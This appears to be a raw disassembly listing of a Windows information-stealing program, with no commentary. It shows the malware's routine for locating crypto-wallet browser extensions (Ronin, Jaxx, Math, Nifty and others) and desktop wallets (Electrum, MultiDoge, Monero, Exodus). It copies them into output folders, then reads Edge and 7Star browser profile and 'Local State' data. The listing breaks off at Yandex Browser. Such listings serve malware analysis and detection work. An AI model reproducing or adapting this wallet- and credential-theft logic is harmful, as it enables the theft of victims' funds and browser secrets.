lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c968]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_ronin
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.fnjhmkhhmkbjkkabndcnnogagogbneec
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c9d8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_kardiachain
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.pdadjkfkgcafgbceimcpbkalnfnepbnk
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028ca58]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_jaxx
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.cjelfplplebdjjenllpjcblmjkfcffne
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028cac8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_math
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.afbcbjpbpfadlkmhmclhkeeodmamcflc
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028cb38]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_nifty
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.jbdaocneiiinmjbjlgalhcelgbejmnid
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea r8, str._appdata_roaming_electrum_cash
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
mov ebx, dword [rsp + 0x60]
or ebx, 0x10
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
or ebx, 0x20
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x250]
call fcn.140009ea0
test al, al
je 0x14001e79a
lea r8, str._appdata_roaming_electrum_cash
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
or ebx, 0x40
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
bts ebx, 7
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x68]
call fcn.140009f30
test al, al
je 0x14001e79a
mov dil, 1
jmp 0x14001e79d
xor dil, dil
test bl, bl
jns 0x14001e7af
btr ebx, 7
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
test bl, 0x40
je 0x14001e7c1
and ebx, 0xffffffbf
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
test bl, 0x20
je 0x14001e7d6
and ebx, 0xffffffdf
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
test bl, 0x10
je 0x14001e7ea
and ebx, 0xffffffef
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
test dil, dil
je 0x14001e887
lea r8, str._output_wallets_electrum_desktop
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
lea r8, str._appdata_roaming_electrum_cash
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.140014670
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
lea r8, str._appdata_roaming_electrum_wallets
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
bts ebx, 8
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
bts ebx, 9
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x250]
call fcn.140009ea0
test al, al
je 0x14001e91f
lea r8, str._appdata_roaming_electrum_wallets
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
bts ebx, 0xa
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
bts ebx, 0xb
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x68]
call fcn.140009f30
test al, al
je 0x14001e91f
mov dil, 1
jmp 0x14001e922
xor dil, dil
bt ebx, 0xb
jae 0x14001e936
btr ebx, 0xb
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
bt ebx, 0xa
jae 0x14001e94a
btr ebx, 0xa
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
bt ebx, 9
jae 0x14001e961
btr ebx, 9
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
bt ebx, 8
jae 0x14001e977
btr ebx, 8
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
test dil, dil
je 0x14001ea14
lea r8, str._output_wallets_electrum_desktop
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
lea r8, str._appdata_roaming_electrum_wallets
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.140014670
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
lea r8, str._appdata_roaming_multidoge
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
bts ebx, 0xc
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
bts ebx, 0xd
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x250]
call fcn.140009ea0
test al, al
je 0x14001eaac
lea r8, str._appdata_roaming_multidoge
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
bts ebx, 0xe
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
bts ebx, 0xf
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x68]
call fcn.140009f30
test al, al
je 0x14001eaac
mov dil, 1
jmp 0x14001eaaf
xor dil, dil
bt ebx, 0xf
jae 0x14001eac3
btr ebx, 0xf
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
bt ebx, 0xe
jae 0x14001ead7
btr ebx, 0xe
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
bt ebx, 0xd
jae 0x14001eaee
btr ebx, 0xd
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
bt ebx, 0xc
jae 0x14001eb04
btr ebx, 0xc
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
test dil, dil
je 0x14001eba1
lea r8, str._output_wallets_multidoge_desktop
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
lea r8, str._appdata_roaming_multidoge
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.140014670
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
lea r8, str._documents_monero
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
bts ebx, 0x10
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
bts ebx, 0x11
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x250]
call fcn.140009ea0
test al, al
je 0x14001ec39
lea r8, str._documents_monero
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
bts ebx, 0x12
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
bts ebx, 0x13
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x68]
call fcn.140009f30
test al, al
je 0x14001ec39
mov dil, 1
jmp 0x14001ec3c
xor dil, dil
bt ebx, 0x13
jae 0x14001ec50
btr ebx, 0x13
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
bt ebx, 0x12
jae 0x14001ec64
btr ebx, 0x12
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
bt ebx, 0x11
jae 0x14001ec7b
btr ebx, 0x11
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
bt ebx, 0x10
jae 0x14001ec91
btr ebx, 0x10
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
test dil, dil
je 0x14001ed2e
lea r8, str._output_wallets_monero
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
lea r8, str._documents_monero
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.140014670
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
lea r8, str._appdata_roaming_exodus
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
bts ebx, 0x14
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
bts ebx, 0x15
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x250]
call fcn.140009ea0
test al, al
je 0x14001edce
lea r8, str._appdata_roaming_exodus
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
bts ebx, 0x16
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
bts ebx, 0x17
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x68]
call fcn.140009f30
test al, al
je 0x14001edce
mov dil, 1
jmp 0x14001edd1
xor dil, dil
bt ebx, 0x17
jae 0x14001ede9
btr ebx, 0x17
mov dword [rsp + 0x60], ebx
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
bt ebx, 0x16
jae 0x14001ee01
btr ebx, 0x16
mov dword [rsp + 0x60], ebx
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
bt ebx, 0x15
jae 0x14001ee1c
btr ebx, 0x15
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
bt ebx, 0x14
jae 0x14001ee36
btr ebx, 0x14
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
test dil, dil
je 0x14001eed3
lea r8, str._output_wallets_exodus
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
lea r8, str._appdata_roaming_exodus
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.140014670
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
mov edx, Ordinal_26
lea rcx, [rbp + 0x480]
call fcn.14000bfe0
lea r8, str._appdata_local_microsoft_edge_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.140012380
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp - 0x68]
call fcn.14002c8a0
nop
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x480]
call fcn.14002bda0
nop
lea rcx, [rbp - 0x68]
call fcn.14002c6f0
lea r8, str._elocalstate
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x38]
call fcn.140030530
mov rbx, rax
lea r8, str._appdata_local_microsoft_edge_user_data_Local_State
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000d070
nop
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
mov edx, Ordinal_26
lea rcx, [rbp + 0x558]
call fcn.14000bfe0
lea r8, str._elocalstate
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x88]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x558]
call fcn.14000d290
nop
lea rcx, [rbp + 0x88]
call fcn.14002c6f0
lea r8, str._elocalstate
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x500]
call fcn.140030530
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x3c0]
call fcn.14000bfe0
lea rdx, [rbp + 0x500]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rdx, rax
lea rcx, [rbp + 0x3c0]
call fcn.14000d950
nop
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x3c0]
call fcn.14002b7c0
mov r8d, 5
lea rdx, [rbp - 0x80]
mov rcx, rax
call fcn.1400282f0
mov rbx, qword [rax]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x3c0]
call fcn.14002b7c0
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x3c0]
call fcn.14002b7d0
lea rcx, [rbp + 0x3c0]
call fcn.14002b7b0
mov rbx, rax
lea rcx, [rbp + 0x3c0]
call fcn.14002b7b0
mov qword [rbp + 0x240], rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x410]
call fcn.14000bfe0
lea rcx, [rbp + 0x3c0]
call fcn.140027710
mov r8, rax
lea r9, [rbp + 0x240]
mov rdx, rbx
lea rcx, [rbp + 0x410]
call fcn.14000d4c0
nop
lea rcx, [rbp + 0x410]
call fcn.14002b7b0
mov rbx, rax
lea rcx, [rbp + 0x410]
call fcn.14002b7a0
mov rdi, rax
cmp rbx, rax
je 0x14001f117
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
lea rcx, [0x1402ded40]
call fcn.140032a50
inc rbx
cmp rbx, rdi
jne 0x14001f100
lea r8, str._output_edge_
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x38]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x4e0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x38]
call fcn.140007810
lea rcx, [rbp + 0x4e0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea r8, [0x14028ccf0]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x88]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x4c0]
call fcn.14002c350
nop
lea rcx, [rbp + 0x88]
call fcn.140007810
lea rcx, [rbp + 0x4c0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp + 0x250]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x250]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0x38]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x108]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_microsoft_edge_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x108]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x290]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028ccf0]
lea rcx, [rbp + 0x290]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x78], rax
lea rdx, str._edge_
lea rcx, [rbp + 0x2b0]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2d0]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x38]
call fcn.140030530
nop
mov ebx, dword [rsp + 0x60]
bts ebx, 0x18
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140032460
nop
bts ebx, 0x19
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x250]
call fcn.140009ea0
test al, al
je 0x14001f388
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
bts ebx, 0x1a
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
bts ebx, 0x1b
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x68]
call fcn.140009f30
test al, al
je 0x14001f388
mov dil, 1
jmp 0x14001f38b
xor dil, dil
bt ebx, 0x1b
jae 0x14001f3a3
btr ebx, 0x1b
mov dword [rsp + 0x60], ebx
lea rcx, [rbp - 0x68]
call fcn.140007810
nop
bt ebx, 0x1a
jae 0x14001f3bb
btr ebx, 0x1a
mov dword [rsp + 0x60], ebx
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
bt ebx, 0x19
jae 0x14001f3d6
btr ebx, 0x19
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x250]
call fcn.140007810
nop
bt ebx, 0x18
jae 0x14001f3ed
btr ebx, 0x18
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
test dil, dil
je 0x14001f655
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp - 0x68]
call fcn.14002c8a0
nop
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp - 0x68]
call fcn.14002c6f0
lea r8, str._output_7star_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x38]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp + 0x38]
call fcn.140007810
lea r8, [0x14028cd78]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x38]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x38]
call fcn.140007810
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x38]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp + 0xe8]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp + 0xe8]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0x108]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x108]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x290]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_7star_7star_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x290]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028cd78]
lea rcx, [rbp + 0xa8]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x78], rax
lea rdx, str._7star_
lea rcx, [rbp + 0x58]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp + 0x128]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov ebx, dword [rsp + 0x60]
lea r8, str._appdata_local_yandex_yandexbrowser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.140030530
nop
bts ebx, 0x1c
